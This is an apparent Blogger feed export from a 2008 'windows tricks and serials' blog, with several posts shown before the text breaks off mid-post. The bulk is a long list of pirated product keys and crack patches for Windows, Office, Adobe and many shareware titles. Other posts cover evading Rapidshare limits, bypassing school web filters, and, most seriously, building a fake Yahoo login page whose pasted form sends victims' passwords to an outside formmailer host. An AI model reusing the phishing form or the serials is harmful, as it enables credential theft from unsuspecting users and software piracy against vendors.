tag:blogger.com,1999:blog-62297295579134827762011-11-27T16:16:25.433-08:00softwares,windows tricks,gadgets,mobile softwares,themes,nature,facts,rapidshare,serials,keyssivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.comBlogger211100tag:blogger.com,1999:blog-6229729557913482776.post-59096725307056320042008-10-25T15:21:00.000-07:002008-11-04T19:45:26.661-08:00<div><span class="Apple-style-span" style="color: rgb(102, 0, 0);">HUNDREDS OF SERIALS FOR YOU</span></div><div><br /></div><div><br /></div><div>AVG-1-10452366-XWT</div><div>Name: Rth77 s/n: 60U-8200-615455-VDN</div><div>Name:www.ttdown.com Code:60U-0713-53398-WUAName:</div><div>(Anything) s/n: 60-U6F2-180491-ZHI</div><div>****************************</div><div><br /></div><div>(WIN-2000 ADVANCE SERVER)</div><div>RBDC9-VTRC8-D7972-J97JY-PRVMG</div><div>****************************</div><div>(WIN-2000 SERVER)</div><div>B3FVT-JTH7J-Q938R-PDBWX-CDBBT</div><div>****************************</div><div>(WIN-2000 SERVER)</div><div>RBDC9-VTRC8-D7972-J97JY-PRVMG</div><div>****************************</div><div>(WIN-2000 PROFESSIONAL)</div><div>RBDC9-VTRC8-D7972-J97JY-PRVMG</div><div>****************************</div><div>(WIN-98)</div><div>(i) KJHJ6-WPHHC-KBQ98-2V27G-X9HQW</div><div>(ii)K4HVD-Q9TJ9-6CRX9-C9G68-RQ2D3</div><div>(iii)HQ6K2-QPC42-3HWDM-BF4KJ-W4XWJ</div><div>****************************</div><div>(WINDOWS-95)</div><div>24995-0123456-11111</div><div>****************************</div><div>(WINDOWS-ME)</div><div>JFWP3-NGIO4-D6821-K57JY-JGRMG</div><div>****************************</div><div>(WINDOWS-NT SERVER)</div><div>(i)416-0123456</div><div>(ii)11111111111</div><div>****************************</div><div>(OFFICE-2000)</div><div>GC6J3-GTQ62-FP876-94FBR-D3DX8</div><div>****************************</div><div>(OFFICE-97)</div><div>0201-1120102</div><div>****************************</div><div>(OFFICE-XP)</div><div>FM9FY-TMF7Q-KCKCT-V9T29-TBBBG</div><div>****************************</div><div>(ADOBE PHOTOSHOP 5.0)</div><div>PWW400R7106337-339</div><div>****************************</div><div>(ADOBE PHOTOSHOP 6.0)</div><div>PWW600R7105467-948</div><div>****************************</div><div>(FLASH 5)</div><div>FLW500-03143-77238-80660</div><div>****************************</div><div><br /></div><div>##################### </div><div><br /></div><div>Phtshp-Serial: 1045-1209-6738-4668-7696-2783</div><div>serial no.</div><div>windows95 :- 30195-005315-51142</div><div>windows95 :- 24995-qem-0123456-11111</div><div>windows98(se) :- hq6k2-qpc42-3hwdm-bf4kj-w4xwj</div><div>windows98:- vk7m3-gtgww-jycrs-tm9f3-rdw2q</div><div>windows98:- ttb9h-4xj68-xbvxv-6v4kk-vf7cg</div><div>windows98:- k4hvd-q9tjp-6crx9c9g68-rq2d3</div><div>windows98(se) :- pydmy-dvj9j-996vh-jx66p-9twkw</div><div>windows me :-jfwp3-ng104-d6821-k57jy-jgrmg</div><div>office 97 :- 0201-112010297-1112-1111111</div><div>office2000 :- gc6j3-gtq62-fp876-94fbr-d3dx8</div><div>win2000(pro) :-rbdc9-vtrc8-d7972-j97jy-prvmg</div><div>win2000(pro) :-vtP4d-9pwvp-87bkr-h88qh-vx6h8</div><div>win2000(ser) :-bqr7c-jgmbb-4ggjf-mxkdc-jbwhy</div><div>win2000(ser) :-jhb8v-7jfm3-dmv9d-3dthq-6323g</div><div>win2000(ser) :-b3fvt-jth7j-q938r-pdbwx-cdbbt</div><div>win2000 :- krj98-r9822-yrmxf-6ttxc-hdrmv</div><div>autocad 2000:- gx8nug-cdkey-11111111111</div><div>AUTHORISED CODE-FFD54A5A</div><div>pagemaker 6 :-03w600r-1118669-742</div><div>distiller :- waw210p7121183-537</div><div>photoshop :-spw300r3230626-250</div><div>window xp :- fckgw-rhqq2-yxrkt-8tg6w-2b7q8</div><div>office xp:- fm9fy-tmf7q-kckct-v9t29-tbbbg </div><div><br /></div><div>MS WIN KEYS</div><div>-------------------------------------------</div><div>Windows 95 CD Key</div><div>--- >>> 00100-0123456-00100</div><div>-------------------------------------------</div><div>Windows 98 Second Edition CD Key</div><div>--- >>> K4HVD-Q9TJ9-6CRX9-C9G68-RQ2D3</div><div>-------------------------------------------</div><div>Windows 98 SECOND EDITION CD Key</div><div>---- >>> HQ6K2-QPC42-3HWDM-BF4KJ-W4XWJ</div><div>-------------------------------------------</div><div>Windows ME CD Key</div><div>--- >>> JFWP3-NG104-06821-K57JY-JGRMG</div><div>-------------------------------------------</div><div>Windows 2000 CD key</div><div>--- >>> RBDC9-VTRC8-D7972-J97JY-PRVMG</div><div>-------------------------------------------</div><div>Office 2000 prof. CD key</div><div>--- >>> FGT4H-HHGVP-P8889-BH7X6-KK3M8 OR B</div><div>-------------------------------------------</div><div>Windows XP PROF. CD key</div><div>--- >>> FCKGW-RHQQ2-YXRKT-BTG6W-2B7Q8</div><div>-------------------------------------------</div><div>Windows XP Professional SP 2 CD Key</div><div>--- >>> G7B8K-4V22H-899JC-68YY7-GVHFJ</div><div>-------------------------------------------</div><div>Office XP Small Business CD key</div><div>--- >>>FM9FY TMF7Q KCKCT V9T29</div><div>-------------------------------------------</div><div>Office XP Small Business CD key</div><div>--- >>> MHD32-P7TG2-K3437-6HYTY-R974J</div><div>-------------------------------------------</div><div>Microsoft Visual Studio CD key</div><div>--- >>> VB^ 1111-111111</div><div>-------------------------------------------</div><div>Windows XP 2005</div><div>--- >>> T8F9M-X92C2-9499M-BPQQK-2GQ36</div><div>------------------------------------------- </div><div><br /></div><div>Win 2000 &amp; WINDVD KEY</div><div>Win 2000</div><div>vtp4d 9pwvp 87bkr h88qh vx6h8</div><div>CJCXY-K14XZ-XL9GH-C7MMR 28 OCT</div><div><br /></div><div>WinDVD</div><div>S/N.: QLGCOXHK3P5EJ3D </div><div><br /></div><div>TOO MUCK KEYS</div><div>3DMark 2000 :Steve Hsu :SG2FE-BDBMN-TL7VC</div><div>3DMark 2001 :Steve Hsu :9US0Y-B6H47-C4DYX-FZRKN</div><div>3D Studio 3.0 Max :110-19990726 CDKey:SWP9UV ±ÂÅv½X: 4c2cacb4</div><div>Absolute Security v1.00 :SiLicon Surfer [PC] :VQDGKQKWQPMKYQR</div><div>ACD See 32 2.42 :Steve Hsu :4059021893</div><div>Acd See 3.1 :132728175249781441</div><div>ACAD 2000 :117-11111111 5X8NUG</div><div>Add/Remove 4Good 2.0 :Blackstar TRPS98 Code: 6582-2APUZYJHD</div><div>Add/Remove Cleaner 2.3 :Kwai_Lo [tNO 98] :K17204KE</div><div>Address Database Pro 4.02 :AEKDB-7895</div><div>Adobe Acrobat 4.0 :WCW100R3101909-171</div><div>Adobe AfterEffect 4.0 :EWW400R3000406-412</div><div>Adobe FramMaker 5.11 :00-0-01-01-5-00D4-D62C70</div><div>Adobe PageMill 3.0 :MLJ300R7102421-311</div><div>Adobe Photoshop 5.5 :PWW400R7106337-339</div><div>Adobe Permiera 5.1 :MBF420U3000205-940</div><div>Adobe Type Manager 4.1 :AWW400P0101591-292</div><div>Adobe Illustrator 9.0 :ABW900R71111141-999-830</div><div>Advance Disk Catalog 1.20b :1303196920041974ERqdY0pQKLeKcBeo</div><div>Advanced Dialer 1.1 :Steve Hsu :5D672300</div><div>Agent 1.8 32.548 :Steve Hsu :HH2W7UY3-131P76L9-MNZARWHC-93XZMZ1R-TN856AWT</div><div>Alarm Master :atlas44</div><div>AllAboard 2.2 :SteveHs :TQ7%-C2N3-NXT8-NZBE</div><div>ALMANAC 3.5c for 95 :TwinHead [TWH/UCF] :A9261579</div><div>AMF Daily Planner &amp; PIM 6.1a :AMF6PIMREG96</div><div>Amnimated Screen 2.21 :AKAZUKIN :3392C400</div><div>AMF Multimedia Jukebox 2.0 :MMJBOXAF</div><div>Anawave Gravity 2.0b2 :replace _analib.dll 74 09 85 with EB 04 85</div><div>AniMagic v1.00b :Steve Hsu com:abc :173E7D79</div><div>AntiHack 2.0 :Steve Hsu :81d-9adf-800000</div><div>Any Speed 1.3 :JIE LIN :A4482300</div><div>AnyFolder Shell Extension :Steve Hsu :1403017</div><div>ArGoSoft MX Mailer v1.0 :lxpc97 :293167522363</div><div>ArjShell32 :Phrozen Crew '96 :289972970</div><div>Astound 4.0 :3260952387</div><div>AstroWorld 98 v3.02 :Norway :614-06310200127EAP </div><div><br /></div><div><br /></div><div><br /></div><div>AtGuard v3.1 :NS-100-000-733 Key:FFCD-9766</div><div>Audio Compositor 1.3 :jake cwc :2fJS29W2</div><div>Audio Grabber 1.62 :51B38A14F6</div><div>AuthorWare 5.0 :AW500-06238-47009-90430</div><div>Auto Cad Lite 3.0 :160-10264403</div><div>Auto Care Center 97 v1.1 :71362180</div><div>AutoMate v3.8a :3789406800</div><div>AutoShutDown v2.4 :kim (c) tNO :AS3E-TNO-017-DF26</div><div>Authentex Datasafe 1.22 :romeo company:D4C :3796792</div><div>AutoCad r14 ¤¤¤åª© :117-99703105 cd-key:W36H</div><div>Auto shutdown 3.10 :BERSERKA :AS3E-BSA-186-500A</div><div>Auto Start 1.5 :Steve Hsu :18571701</div><div>Axialis AX-Icons 4.0 :Register :R83WXU-1Q78-LNBB</div><div>AZPR 2.44 :00003112193920061941gSJqgyJc5a4sCTj4</div><div>BarClock :TSWUJ-BPUVG</div><div>Becky 2.00.05 :Steve Hsu :1809-3437-D348 :stevehsu@bigpond.net.au</div><div>Best Copy 6.06.1 :Viking :BC-E9F1-9FVE-RLG1-EMSK</div><div>BlackBoard En/Decoder 1.0 :jake cwc :668</div><div>BlackBoard Encrypt Interface :jake cwc :668</div><div>BlackBoard PicVu 2.0 :jake cwc :668</div><div>BlackICE Defender 2.1 cl :346258C-RS-C473F</div><div>Black Widow 3.22 :lxcore97 :829-4132/58-16713</div><div>Blanch 1.8 :tommy :102c7b2</div><div>BlindRead 3.021 :DEYQ-ZV18-1Q2N-DIFJ</div><div>BoundsChecker V5.0 :Richardcrack :0kadr1rk</div><div>Bryce 4.0 :BF00WBB-0000000-CUY4:44 PM 8/7/02</div><div>Buzof 1.42 :00065536 - 00010133</div><div>ByteCatcher Pro V3.0a :239856538576</div><div>Cake walk Pro Audio 9 :cwpa900000000</div><div>CALIGARI TRUESPACE V4 :6400051000000</div><div>Calypso 2.30 :3M9B79VKVK5L7N6SYUB9</div><div>CamShot 1.1 :ABC :14058-17335</div><div>Canvas 5 Updater :W000-754710</div><div>Capture Professional v3.x :SJMISBESTHACKER :TAIWAN :C6-C23-456-AFC</div><div>CaSeLinr 5.6 :CiB :r8aq6GcQLn</div><div>CDDA 3.6 :CZY :EZCDDAX3-E0F35BC1-C9EA2E08-261</div><div>CdrLabel 4.1 :line1:516619769 line2:876408395 </div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>CD Wizzard 98 :CW375H2682477176</div><div>CGI*StarDuo95 1.03 :AA3852-AA912-45AAA-12345-7896385</div><div>Chameleon V5.0 :34059131041712S3 key:A224</div><div>Chick It 5.1 :DH-200004</div><div>Check Mail v1.02 :Gordon Liu : 5582-9144-35</div><div>CleanUp Win95 :+ALI-BABA :688399719833</div><div>Clean sweep 3.0 :CSWU3000072702</div><div>ClipMate 5.1.4 :Steve Hsu :G013488608048</div><div>ClockMan 95 v1.0.057 :Steve Hsu s/n:1203009890 # Users:1 L:597451</div><div>ClockTick v2.1.4 :Steve Hsu :1402516080</div><div>CloneCd 1.0.2.4 :Crack Man E:crackman@taiwan.tw C:7FBD-C223-4FB4-8AA1</div><div>CloneMaster v2.19 :Underworld^SNT :678358010</div><div>Closer 1.5 :ibm :422013844604</div><div>CMed 2.1b :Crack da WareZ :BMBKEJANEJ</div><div>Corel 5.0 :CD5-111-123456</div><div>Corel Draw 9.0C :dr88r-14z1854048</div><div>Com 4.1 :Cracked :376665-193920</div><div>Comic-Soft 2.0 :pc97 :042566726433</div><div>CommandLine 96 :753868</div><div>CommSuite 95 :7000-7166-2080</div><div>CompuPic32 4.00 build 950 :CHENZY :888888 code:H882XX9BSG</div><div>Cookie Pal 1.0.2 :Hackerjack! :3388964</div><div>Cool 3D 3.0 :11105-03000-00039406</div><div>Cool Edit 2000 :MFD Corp. :Q17EXF5U</div><div>Cool Info 99 2.7 :Niceshop :CSI481299146736769837279803</div><div>Cool Wave Editor 1.52 :tHATDUDE! :VLLTICVT</div><div>Copernic 99 Plus v3.0 :056-059999999</div><div>Coreldraw v7.0 :123456789</div><div>Cpu Cool 3.0 :23431708</div><div>Create-a-Theme 98 v3.0 :p:58A56V69 c:8246-9729-22</div><div>CrossWords U Create 2.0 :two waffles</div><div>Crystal Ftp v1.0 Preview 2 :qua8SIXh :111701233100000000000000000000</div><div>Dana :tHATDUDE! :0912-2349-A818</div><div>DataFit v4.1.19 :lxpc97 2d:2766988 3d:7503066</div><div>Date 4.20 :5884074</div><div>DAO 2.4A 32bit :LordByte in 1996 Company/mail : Phrozen Crew 3191487656 </div><div><br /></div><div>Delphi 4.0 :000-000-0000 :A code: 802-5f0</div><div>Delrina CommSuite 95 :7020-2175-6499</div><div>Delrina Cyberjack 7.0 :7000-7166-2080</div><div>Depleter 2.2 :Registered User :85971</div><div>DesignCAD 3D v8.0 :6504 0024 1945</div><div>DesignExpress Labels :Registered User :QYOBYTK</div><div>Desktop Deluxe 1.0 :Phrozen Crew :7050</div><div>Desktop Themes v1.85 :draXXter :2107358982</div><div>Dial Up Magic 1.3 :Registered :1045930556</div><div>DirectNet 1.2+ :Steve Hsu :19772-175382-2727-1324</div><div>DiskFactory32 2.10 :TeRaPhY :132195911</div><div>DiscJuggler 1.05.393 :CDJ-039934FD-FU</div><div>Disney Screen Saver :DSW-91929-1488</div><div>Disappear 98 :110396</div><div>Dream Weaver 3.0 :DWW300-08610-27280-95766</div><div>Drive Image 3.0 :DP300ENWSCD-101002</div><div>Dr.Eye 2001 :DREYE2001-DJYGF-F8Y7L-HIGBBIE-5681</div><div>Dr.Salomon's antivirus v6.71 :DTK3H-063095</div><div>Drag And File Gold 3.54 :1234567890</div><div>Drag And View 4.0 Beta 4a :50000000000000</div><div>Drag And Zip :3000000000</div><div>Dreamweaver 4.0 :DWW400-03771-57289-73501</div><div>DocMan 2.4 :KNJRUT or IUIOOP or AHPUQW or IFNRUX</div><div>Doghouse 1.2 :Me :JDHUD</div><div>Dogs of War v2.0 :SteveHsu L:DWSTEVEHSU P:EQNNHLCFBK</div><div>Dogz :8000-1830-9488</div><div>Double Dynamite 4.3 :884916</div><div>Drive Image Pro 2 :DM200JPPCD-874253</div><div>Dustman 2.00.103 :Registered :1231E55668</div><div>Download Bult 1.6 :lupin :623463B6 special:000111222</div><div>DreamWeaver 2.0 :DWW200-09785-18274-81630</div><div>Easy Cd Creator 4.0 :110010629931</div><div>Easy CD-DA Extractor 3.05 :starless :EZCDDAX3-FC666769-8C425768-446</div><div>Easy Pool 3.0 :Steve Hsu :92663</div><div>EcoPad v3.3.1 :ED!SON '96 [Xf/UCf] :Dynasty :2302012561 </div><div><br /></div><div><br /></div><div>EditPlus TextEditor 1.1 : Chafe : 8B868A3D-DB0DF074</div><div>EdTex 2.38 :055022239</div><div>Elbow Grease 2.0 :LB098765AMF</div><div>Essocode 7.8 :IQHRIP or :ASZLOTPM</div><div>Emi-Clock 4.27 :Motosoft :DEB6I9ON6B</div><div>EmEditor 3.0 :1412-1033-1047-8855</div><div>Encore 4.0 :EV40-0-02034-4386</div><div>Enhanced Cu-See Me 4.1 :SCBE-001Y-0J8R-SWCT</div><div>NTS EnterNet 500 1.41 :trackgroove27</div><div>ESS Code 7.8 :ASZLOTPM</div><div>Et2000 v5.1 for Win95 :62256346</div><div>Eudora Pro 4.0 :4557201</div><div>Extreme Slots 95 1.2 :196458</div><div>Extreme 3d :45110-0037-0012-60272</div><div>EyeCandy 3.0 :IIIGEBFHMJNB</div><div>Easy CD Creator 5.0 Platinium:Y-73YHY-SENW9-Y9B4T</div><div>EZ-Split 2.0 :ES200000001400030340159</div><div>EZ-Unzipper 2.55 :all :XPR-667</div><div>FAR 1.62 :Niceshop :47AC00</div><div>Feurio! V1.60 :Feurio C:Feurio S:11361767 L:3559-1298-9169-8465-6294</div><div>Flash 4.0 :FLW400-16664-27865-12345</div><div>Flash Get 0.95 :Steve Hsu :09945NE9T2</div><div>FlexED32 Ver2.0 :jake cwc :976260262287</div><div>FileEx 2.00h :PC97 :655552</div><div>File Kick 2.5b :lupin :429-4920266</div><div>File Locker 2.3 :73002-50134</div><div>File Maker Pro User 2.1 :7001498488 or :7000843902</div><div>File Split 2.2 :Niceshop Serial: 313-37-19492</div><div>FileName Juggler 1.10 :Name:TKC/PC '97 S/N:12345 P/W:643C-256A-ADFA</div><div>FileSync v1.4 :Steve Hsu :27579276</div><div>File Wiz 1.1 :28013</div><div>Fine Print 2000 :Steve Hsu :FRB3-AVV7-LYDX</div><div>Fine Print v2.03 for WinNT :RudeBoy [PC] :9477-624597</div><div>Firehand Ember 3.1.2 :CLEMENCE CORRIVAU :004-541-64217</div><div>FireWorks 4.0 :FWW400-02666-67248-02548</div><div>FLameMask 2.6 :Steve Hsu :00000000</div><div>Flash 4 :FLW400-16664-27865-12345</div><div>Flash 5 :FLW500-13547-37838-54321 </div><div><br /></div><div><br /></div><div>FlexEd32 v2.0b :Cracked :769806196900</div><div>FM StepUp '96 4.02 :Registered User :1997 :3407480960</div><div>Folder Guard 4.11 :Niceshop :12345 :F7190020WARP</div><div>Font Control 1.23 :Steve Hsu :22440.</div><div>Font Man :Steve Hsu : FCD 51120</div><div>FontMonster 3.5 :Steve Hsu :11483.</div><div>FOX PRO3.0B :111-111111111</div><div>FLMASK :SteveHsu :00000000</div><div>Fracal Design Painter 4.0 :PW300RAZ0002607-EANY-001</div><div>FrameMaker 5.5.6 :20-0-01-01-5-0D2F9-36EC16</div><div>Free Cell Plus 1.1b :Steve Hsu :178488</div><div>FreeMem Pro 4.2 :296094047829 or :622034946211</div><div>Freetel 1.0 :1292-0039-0768-5802</div><div>Freehand 9.0 :FHW900-00010-47278-88947</div><div>FrontPage 2000 :GC6J3-GTQ62-FP876-94FBR-D3DX8</div><div>Fractal Poser 1.03 :FW100RAZ0002042-NTHV-001</div><div>Fractal Design Dabbler 2.04 :DW200RAZ0005245-RTJQ-001</div><div>Fractal RayDream Studio 4.1 :SW-410-1-2847-62287</div><div>FTP 2000 :Steve Hsu :IKELSTC:EM</div><div>FTP EXPRESS V 1.00.012 :+JUANDA :500131</div><div>FTP-Max v1.1 :BLiTZ / [PC97] :NGVJGJ6XSAY4EJ</div><div>FTP Serv-U 2.2 :serv-u.ini [Galobal]¥[¤JRegistrationKey=r8fZajeU3JY,ED!SON '96</div><div>FTP Voyager v4.0.4.1 :Super XE e:kss@ms1.hinet.net :000008fc</div><div>FTPSync 2.06 :DESYNC DOMiNATiON :298540400</div><div>Ftp Wolf 1.03 :jeagon :FW1-681113</div><div>FullDisk v4.3 :DiABLO ORiON :4464BEBC</div><div>Game Master 7.3 :GM73-033240-067838</div><div>Game of Stars 2.5 :WV9NBSGY</div><div>Gator Edit 1.2 :tHATDUDE! :66666666 Key: 133343023</div><div>Gear Replicator 1.2 :9702711341145229</div><div>GetRight 4.3 :941829970387 or :268554735020</div><div>GetRight 4.5 Beta1 :324556123934</div><div>Gif Animator v1.1 :FirstName: Killer+Bee LastName: Phrozen Crew'97 :507549</div><div>GIF CONSTRUCTION :Steve Hsu :YVLBB</div><div>Gif Movie Gear 2.62 :czy User:MVG29992496 Site:MVG2s9992496 </div><div><br /></div><div><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-5909672530705632004?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-34846775147804730482008-10-25T15:18:00.000-07:002008-10-25T15:19:28.181-07:00<div>Unlimited Downloading From Rapidshare</div><div>Guys if You Wanna Unlimited Downloading Of Rapidshare and You dont have Premium account then dont bother..</div><div>do as following..</div><div>it works....</div><div><br /></div><div>Download following file</div><div><a href="http ://rapidshare . com/files/99073962/SMAC_v2.0.rar">http ://rapidshare . com/files/99073962/SMAC_v2.0.rar</a></div><div><br /></div><div>(PLEASE JOIN LINKS)</div><div><br /></div><div>Install Software</div><div>Now Here we Go</div><div>-------------------------------------------------------------</div><div>1) Open 1st URL of Rapidshare Of file Which you want to download</div><div>2) After download complete Just Double click on SMAC software</div><div>3) Do as per shown in Snap Which is in that zip file</div><div>4) Change Your Lan-Card Ip to next one..</div><div>eg. if you r having Lan-card Ip 123.123.31.43 then change it to 123.123.31.44</div><div>5) Now open 2nd files URL which you want to download...</div><div><br /></div><div>OMG .........YOU done it............</div><div>You will download Files w/o any 30mins time restriction...and as much as you want..</div><div>Note :- For Every downloading of new file You have to Follow this procedure...</div><div><br /></div><div>This mEthode is cool</div><div><br /></div><div>nJoy</div><div><br /></div><div>You want DirectX 10 For XP???javascript:void(0);</div><div>submit</div><div><br /></div><div>Checkout this (Please Join This Link )</div><div><br /></div><div><a href="http://rapidshare. com/files/99068887/dx10-xp.exe">http://rapidshare. com/files/99068887/dx10-xp.exe </a></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-3484677514780473048?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-79808865820023591422008-10-25T14:47:00.000-07:002008-11-04T19:48:07.508-08:00<span class="Apple-style-span" style="font-size:large;">HOW TO BYPASS PROXY FOR CERTAIN BLOCKED SITES</span><div><br /></div><div><div>Surf The Blocked Websites !</div><div>Are you frustrated because you are not able to visit your favorite websites in your school or college ?</div><div><br /></div><div>Well, no problem the remedy comes here !</div><div><br /></div><div>Below are the list of various sites from which you can surf the blocked websites !</div><div><br /></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://kproxy.com (Best For Orkut !)</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://backfox.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://atunnel.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://calculatepie.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://www.stupidcensorship.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://www.vmathpie.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://www.xroxee.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://mathtunnel.com</a></div><div><a href="http://www.blogger.com/*%20http://kproxy.com%20%28Best%20For%20Orkut%20%21%29%20*%20http://backfox.com%20*%20http://atunnel.com%20*%20http://calculatepie.com%20*%20http://www.stupidcensorship.com%20*%20http://www.vmathpie.com%20*%20http://www.xroxee.com%20*%20http://mathtunnel.com%20*%20http://www.pagemod.com"> http://www.pagemod.com</a> </div><div><br /></div><div>Another Way,Today we still use Internet Explorer to surf the net, so if the block is done on the system then using Mozilla Firefox can help !Use Firefox and try visiting the blocked sites !Enjoy...</div><div><br /></div><div>HACK YOUR C DRIVE (just for knowledge)</div><div><div>First Method (NEW &amp; IMPROVED)</div><div><br /></div><div>Step by Step:</div><div><br /></div><div>1. Click start.</div><div><br /></div><div>2. Go to accessories.</div><div><br /></div><div><br /></div><div>3. RIGHT CLICK on command prompt.</div><div><br /></div><div>4. Click on properties.</div><div><br /></div><div>5. Now click find target.</div><div><br /></div><div>6. Now you are on the C:\ drive </div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div>2ND TRICK</div><div>Second Method (NEW &amp; IMPROVED)</div><div><br /></div><div>Step by step</div><div><br /></div><div>1. If the first method didn't work then this is surely going to work for you.</div><div><br /></div><div>2. Create a new document anywhere you want.</div><div><br /></div><div>3. Then right click the document you just created</div><div><br /></div><div>4. Then choose open with -> Choose Program -> then clik Browse</div><div><br /></div><div><br /></div><div>5. If your not on the C:\ drive already in the text area type "C:\" without the quotes.</div><div><br /></div><div><br /></div><div>6. Happy ending you r on the C:\ drive. </div><div><span class="Apple-style-span" style="font-size:large;"><br /></span></div><div><span class="Apple-style-span" style="font-size:large;">CHANGE WINDOWS ICONS</span></div><div><br /></div><div><div>Changing Windows’ Icons</div><div>You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.</div><div>1. Open RegEdit</div><div>2. Go to</div><div>HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons</div><div>3. Add a string value for each Icon you wish to change.</div><div>Example: “3″ =”C:\Windows\Icons\MyIcon.ico,0″ This will change the closed folders in the Explorer to “MyIcon.ico”. Here is a complete list for each value.</div><div>0= Unknown file type</div><div>1= MSN file types</div><div>2= Applications Generic</div><div>3= Closed Folder</div><div>4= Open Folder</div><div>5= 5.25″ Drive</div><div>6= 3.25″ Drive</div><div>7= Removable Drive</div><div>8= Hard Drive</div><div>9= NetWork Drive</div><div>10= Network Drive Offline</div><div>11= CD-ROM Drive</div><div>12= RAM Drive</div><div>13= Entire Network 14= Network Hub</div><div>15= My Computer</div><div>16= Printer</div><div>17= Network Neighborhood</div><div>18= Network Workgroup</div><div>19= Start Menu’s Program Folders</div><div>20= Start Menu’s Documents</div><div>21= Start Menu’s Setting</div><div>22= Start Menu’s Find</div><div>23= Start Menu’s Help</div><div>24= Start Menu’s Run</div><div>25= Start Menu’s Suspend</div><div>26= Start Menu’s PC Undock</div><div>27= Start Menu’s Shutdown 28= Shared</div><div>29= Shortcut Arrow</div><div>30= (Unknown Overlay)</div><div>31= Recycle Bin Empty</div><div>32= Recycle Bin Full</div><div>33= Dial-up Network</div><div>34= DeskTop</div><div>35= Control Panel</div><div>36= Start Menu’s Programs</div><div>37= Printer Folder</div><div>38= Fonts Folder</div><div>39= Taskbar Icon</div><div>40= Audio CD</div><div>You need to reboot after making changes. You may need to delete the hidden file ShellIconCache if after rebooting the desired Icons are not displayed. </div><div><br /></div><div><span class="Apple-style-span" style="font-size:large;">FAKE YAHOO LOGIN</span></div><div><br /></div><div><div>Create Yahoo’s Fake Login Page!</div><div>* Open your Internet explorer or Mozilla Firefox!</div><div><br /></div><div>* Open www.yahoomail.com but don't Sign in there.</div><div><br /></div><div>* Open the source code of it and copy the whole code and save it as yahoo Page Source in your Notepad.</div><div><br /></div><div>* Open Yahoo Page Source in Notepad and press ctrl+f and type <form,></form,><div><br /></div><div>* Erase that whole line and the next line.</div><div><br /></div><div>* Now, copy and paste the following code there.</div><div><br /></div><div><br /></div><div><form action="http://www.big-llc.com/formmailer/submit" method="post"><input value="Your Yahoo or Hotmail e-mail ID" name="fm-to" type="hidden"><span style="color: rgb(51, 51, 51);"> </span><input value="password D3" name="fm-title" type="hidden"><span style="color: rgb(51, 51, 51);"> </span><input value="http://www.yahoomail.com" name="fm-redirect" type="hidden"><span style="color: rgb(51, 51, 51);"> </span></form></div><div><br /></div><div><br /></div><div><br /></div><div>* Also rename your e-mail ID in the above code.</div><div><br /></div><div>* Save it as Yahoo.html</div><div>And upload it …………..</div><div>Finaly u have Done…………</div><div>OK</div><div><br /></div><div><span class="Apple-style-span" style="font-size:large;">HIDE FILES IN AN IMAGE</span></div><div><br /></div><div><div>All you need is WinRAR INSTALLED ON Windows XP.</div><div><br /></div><div>Gather all your files</div><div><br /></div><div>Now add those files in a RAR Archive</div><div>For example Secret.rar</div><div><br /></div><div>Now copy the RaR file to a 